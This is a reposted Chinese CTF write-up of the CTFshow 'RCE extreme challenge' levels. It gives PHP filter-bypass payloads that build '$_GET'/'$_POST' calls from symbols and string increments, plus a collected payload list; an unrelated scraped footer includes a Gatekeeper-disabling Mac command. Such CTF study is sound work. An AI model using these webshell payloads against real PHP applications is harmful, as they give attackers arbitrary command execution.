CTFSHOW 每周大挑战 RCE极限挑战

news2024/9/21 14:31:31

RCE挑战1

开题直接给了源码

image-20230702202834520

过滤了括号和点号。

使用内敛绕过。

payload:

code=echo `tac /f1agaaa`;

image-20230702235452518

RCE挑战2

源码直接给了。

基本把能用的都过滤了,只剩下$()_+;[],.=/字符,自增RCE无疑。

//相当于 ($_GET[_])($_GET[__])  使用的时候url编码一下

$_=[]._;$__=$_['!'=='='];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;($$_[_])($$_[__]);

payload:

ctf_show=%24_%3D%5B%5D._%3B%24__%3D%24_%5B'!'%3D%3D'%3D'%5D%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___%3D%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%2B%2B%24__.%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%24___.%2B%2B%24__%3B%24_%3D'_'.%24___%3B(%24%24_%5B_%5D)(%24%24_%5B__%5D)%3B                 //POST

?_=system&__=tac /f1agaaa                   //GET

image-20230703000659700

RCE挑战3

开题直接给了源码,和上题差不多,可以使用1和0,但是加了长度限制。

image-20230703000904202

解法的话,就是可以用到PHP中的NAN和INF:

NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。

INF:infinite,表示“无穷大”。 超出浮点数的表示范围(溢出,即阶码部分超过其能表示的最大值)。

如何得到呢?可以这样:

$_=C/C;//NAN
$_=1/C//INF

C/C这里,实际上运算的时候会变成0/0。而下面的则是1/0。

但是这还不是字符串,需要来个拼接即可,这样就可以去到N:

$_=C/C.C;
var_dump($_[0]);

这样不用通过从C自增到N,可以减少很多的长度。

接下来就是想办法构造_GET,慢慢自增来拿到字母,然后拼接:

$_=C;++$_;$C=++$_;++$_;$__=++$_;$_=(C/C.C)[0];++$_;++$_;++$_;++$_;++$_;++$_;$_=_.$__.$C.$_;

最后这样即可:

$$_[0]($$_[1]);

相当于$_GET[0]($_GET[1])

所以就是:

$_=C;++$_;$C=++$_;++$_;$__=++$_;$_=(C/C.C)[0];++$_;++$_;++$_;++$_;++$_;++$_;$_=_.$__.$C.$_;$$_[0]($$_[1]);

post传的话还需要url编码。

但是这个长度是106,楽。重新构造一次吧。

$_=([].[])[0];    //得到Array
$_=($_/$_.$_)[0];   //__=N
$_++;  //O
$__=$_.$_++;  //拼接PO
$_++;$_++;$_++;  //S
$__.=$_;
$_++;  //T
$_=_.$__.$_;  //拼接_和POST
$$_[0]($$_[1]);  //$_POST[0]($_POST[1])

所有可行的payload:

$a=(0/0);$a.=_;$a=$a[0];$a++;$o=$a++;$p=$a++;$a++;$a++;$s=$a++;$t=$a;$_=_;$_.=$p.$o.$s.$t;$$_[0]($$_[1]);
//$_POST[0]($_POST[1]);

$_=([].[])[0];$_=($_/$_.$_)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$__.=$_;$_++;$_=_.$__.$_;$$_[0]($$_[1]);
//$_POST[0]($_POST[1])

$_=(_/_._)[0];$_0=++$_;$_0=++$_.$_0;++$_;++$_;$_0.=++$_;$_0.=++$_;$_=_.$_0;($$_[0])($$_[1]);
//$_POST[0]($_POST[1])

image-20230703003012187

RCE挑战4

长度变为了小于84。

image-20230703003122478

$_=(_/_._)[0];++$_;$__=$_.$_++;++$_;++$_;++$_;$__.=$_++.$_;$_=_.$__;$$_[_]($$_[0]);
//$_POST[_]($_POST[0])

RCE挑战5

长度变为了小于73。

image-20230703004318050

$_=(_/_._)[_];$_++;$__=$_.$_++;++$_;++$_;$$_[$_=_.$__.++$_.++$_]($$_[_]);
//$_POST[_POST]($_POST[_])

# 不可见字符替换
$_=_(_._)[_];$%FA=++$_;$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[%FF]);

另一种方法:phpinfo中多了个gettext()扩展插件,使得我们可以用_()直接转为字符串

<?php
$a=_(a/a)[a];//相当于gettext(0/0)[0],得到N
$_=++$a;//O
$_=_.++$a.$_;//_PO
$a++;$a++;//R
$_.=++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])


$_=$a.$a++;//PO
至于为什么是得到PO而不是OP或者OO之类的,官方wp上师傅们讨论的结果是:

PHP在做字符串拼接的过程中(.操作),是一个从左到右递归的过程,而++操作类似于一个函数,php在执行完函数后,再做拼接的操作,$_=$a.$a++;//PO这里相当于先执行了$a++操作(函数),并得到$a++的返回值,然后和左侧的$a变量进行拼接,此时$a已经是P了。而$_=_.$a.$a++;时先执行了_和$a的拼接,而后再执行$_='_O'.$a++,所以得到的是_OO。

奉上收集的payload:

//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
//相当于assert($_POST[_]);   然后post传入   _=phpinfo();            测试发现7.0.12以上版本不可使用

$_=[]._;$__=$_['!'=='='];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;($$_[_])($$_[__]);
//相当于 ($_GET[_])($_GET[__])  使用的时候url编码一下

$_=C;++$_;$C=++$_;++$_;$__=++$_;$_=(C/C.C)[0];++$_;++$_;++$_;++$_;++$_;++$_;$_=_.$__.$C.$_;$$_[0]($$_[1]);
//$_GET[0]($_GET[1])

$a=(0/0);$a.=_;$a=$a[0];$a++;$o=$a++;$p=$a++;$a++;$a++;$s=$a++;$t=$a;$_=_;$_.=$p.$o.$s.$t;$$_[0]($$_[1]);
//$_POST[0]($_POST[1]);

$_=([].[])[0];$_=($_/$_.$_)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$__.=$_;$_++;$_=_.$__.$_;$$_[0]($$_[1]);
//$_POST[0]($_POST[1])

$_=(_/_._)[0];$_0=++$_;$_0=++$_.$_0;++$_;++$_;$_0.=++$_;$_0.=++$_;$_=_.$_0;($$_[0])($$_[1]);
//$_POST[0]($_POST[1])

$_=(_/_._)[0];++$_;$__=$_.$_++;++$_;++$_;++$_;$__.=$_++.$_;$_=_.$__;$$_[_]($$_[0]);
//$_POST[_]($_POST[0])

$a=_(a/a)[a];++$a;$_=$a.$a++;$a++;$a++;$_=_.$_.++$a.++$a;$$_[a]($$_[_]);
//$_POST[a]($_POST[_])

$_=_(a/a)[_];$a=++$_;$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);
//$_POST[_POST]($_POST[_])

$_=_(_._)[_];$%FA=++$_;$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[%FF]);
//将拼接放到同一行,不可见字符替换

php中 $_ = []._; echo $_; => Array_ $_[0]==>A 这样就可以构造命令执行
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_++;$_1=$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
//$_GET[1]($_GET[2])

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/733337.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【雕爷学编程】Arduino动手做(156)---OTTO两足舵机机器人

37款传感器与执行器的提法&#xff0c;在网络上广泛流传&#xff0c;其实Arduino能够兼容的传感器模块肯定是不止这37种的。鉴于本人手头积累了一些传感器和执行器模块&#xff0c;依照实践出真知&#xff08;一定要动手做&#xff09;的理念&#xff0c;以学习和交流为目的&am…

【Mac】安装DbServer

1.下载 链接: https://pan.baidu.com/s/13Vzsv1sLAq-J8RsRgtL-pw 提取码: 8gsr 2.安装 如果提示已损坏&#xff0c;无法打开。 解决方式&#xff1a; 打开“终端”&#xff0c;输入命令&#xff1a;sudo spctl --master-disable&#xff0c;这个过程中会提示要输入密码&…

C++ 库 vector初始化方式

vector 支持多种初始化方式&#xff0c;以下是几种常见的方法&#xff1a; 1. 默认初始化: 可以使用无参构造函数来创建一个空的 vector。例如&#xff1a; 创建一个空的整数向量 2. 指定大小和初始值: 可以使用带有两个参数的构造函数来指定 vector 的大小和初始值。例如&am…

优化器学习

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、SGD&#xff08;随机梯度下降算法&#xff09;二、Momentum三、AdaGrad四、Adam算法 前言 最优化是应用数学的一个分支&#xff0c;主要研究在特地情况下函…

Installation request for phpoffice/phpspreadsheet

办法 composer update --ignore-platform-reqs

【C++】引用、指针、函数指针、指针函数

指针和引用的概念及区别 引用 引用是一个已存在对象的别名&#xff0c;使用 & 符号进行声明&#xff0c;例如 int& ref num;引用必须在声明时初始化&#xff0c;并且一旦绑定到一个对象后&#xff0c;就不能再重新绑定到其他对象引用使用起来类似于被引用对象的别名…

SpringBoot开启定时任务

有些场景需要使用到定时任务&#xff0c;比如&#xff1a; 定时数据备份&#xff1a;定时任务可以用于自动备份数据库或重要文件。可以编写一个定时任务来定期执行数据备份操作&#xff0c;以保护数据的安全性。 定时数据同步&#xff1a;在分布式系统中&#xff0c;定时任务可…

mac远程连接windows10-Microsoft Remote Desktop

主要碰到的坑&#xff1a; windows上没有开启远程桌面连接&#xff0c;导致Microsoft Remote Desktop连接的时候老报错。 开始菜单-》设置-〉远程桌面 如果还不行就看一下服务&#xff1a; 右键我的电脑-》管理 -〉服务 打开远程桌面服务&#xff08;最好设置成自动启动&…

CygWin:windows上运行类linux命令

CygWin是一个在Windows平台上运行的类UNIX模拟环境&#xff0c;是Cygnus Solutions公司开发的自由软件。它提供了类似于Linux系统的终端环境和工具&#xff0c;使用户可以在Windows平台上运行Unix-like的程序&#xff0c;如Bash、awk、sed和grep等 。 下载setup.exe 安装Cygwin…

初阶C语言———操作符详解(2)

hello&#xff0c;我们又见面了&#xff0c;今天我们把操作符这一章节完结&#xff0c;那让我们一起来学习吧 逻辑操作符 &&逻辑与 ||逻辑或 这里我们要区分按位与和按位或还有逻辑与和逻辑或的区分。 1&2----->0 1&&2---->1 1|2----->3 1||2---…

Day46|139.单词拆分 、多重背包理论基础、背包问题总结

139.单词拆分 1.题目&#xff1a; 给你一个字符串 s 和一个字符串列表 wordDict 作为字典。请你判断是否可以利用字典中出现的单词拼接出 s 。 注意&#xff1a;不要求字典中出现的单词全部都使用&#xff0c;并且字典中的单词可以重复使用。 示例 1&#xff1a; 输入: s …

TiDB 7.1 资源管控验证测试

作者&#xff1a; dba-kit 原文来源&#xff1a; https://tidb.net/blog/9cd7dcb3 〇、背景 我们线上使用环境和李文杰大佬比较类似&#xff0c;我这里就不赘述了&#xff0c;大家可以看 专栏 - TiDB v7.1.0 跨业务系统多租户解决方案 | TiDB 社区 &#xff0c;这里比较清…

PyQt---------PyQt组件的学习

1.QLabel组件 QLabel用于显示文本或图像&#xff0c;不提供用户交互功能&#xff0c;标签的视觉外观可以以各种方式配置。 举个例子吧 import sys from PyQt6.QtCore import Qt from PyQt6.QtWidgets import QApplication, QLabel, QMainWindowclass MainWindow(QMainWindow…

大厂C++题第1辑——虚函数七题精讲之2:虚函数的作用机制

一、虚函数的常见应用场景&#xff1b; 二、发挥虚函数作用的语法&#xff1b; 三、虚函数的实现机制&#xff1b; 四、虚函数的性能影响。 题2-虚函数的常见应用场景 上一节我们讲了虚函数的作用&#xff0c;同时也演示了虚函数发挥作用的路径之一&#xff1a; 一个派生类对…

Docker 私有仓库 harbor 搭建

&#x1f388; 作者&#xff1a;Linux猿 &#x1f388; 简介&#xff1a;CSDN博客专家&#x1f3c6;&#xff0c;华为云享专家&#x1f3c6;&#xff0c;Linux、C/C、云计算、物联网、面试、刷题、算法尽管咨询我&#xff0c;关注我&#xff0c;有问题私聊&#xff01; &…

Vue操作Cookie

这里用的js-cookie。 很简单&#xff0c;安装一下就可以使用了。 npm install js-cookie --save 使用示例&#xff1a; import Cookies from js-cookieexport default {name: YourComponent,methods: {setCookie() {// 设置一个名为 name 的cookie&#xff0c;值为 value&a…

聚焦信息技术发展,博睿数据受邀出席产业链供需对接深度行北京站活动

7月6日&#xff0c;以“广聚群链 湾区启航”为主题的产业链供需对接深度行北京站活动圆满落幕。本次活动吸引了来自北京和广东的多家知名企业参与&#xff0c;博睿数据受邀出席了本次活动&#xff0c;同时携核心产品一体化智能可观测平台Bonree ONE参展&#xff0c;展示博睿数据…

Nginx配置springboot+vue项目http跳转https

java生成证书 添加依赖 <dependency><groupId>org.bouncycastle</groupId><artifactId>bcpkix-jdk15on</artifactId><version>1.69</version></dependency> import org.bouncycastle.asn1.ASN1Encodable; import org.bounc…

易微联2.4G通断器添加到手机步骤

蓝牙款无WIFI&#xff0c;按住通断器上的按钮&#xff0c;会先闪一下&#xff0c;再闪两下。闪一下的时候连手机&#xff0c;闪两下清码。 手机上打开易微联app&#xff0c;依次点击加号/轻智能遥控器/单按键遥控器/添加完成。 返回打开刚才添加的开关&#xff0c;在通断器闪…

基于Spring Boot的医院信息管理系统设计与实现(Java+spring boot+MySQL)

获取源码或者论文请私信博主 演示视频&#xff1a; 基于Spring Boot的医院信息管理系统设计与实现 使用技术&#xff1a; 前端&#xff1a;html css javascript jQuery ajax thymeleaf 后端&#xff1a;Java springboot框架 mybatis 数据库&#xff1a;mysql5.7 开发工具:IDEA…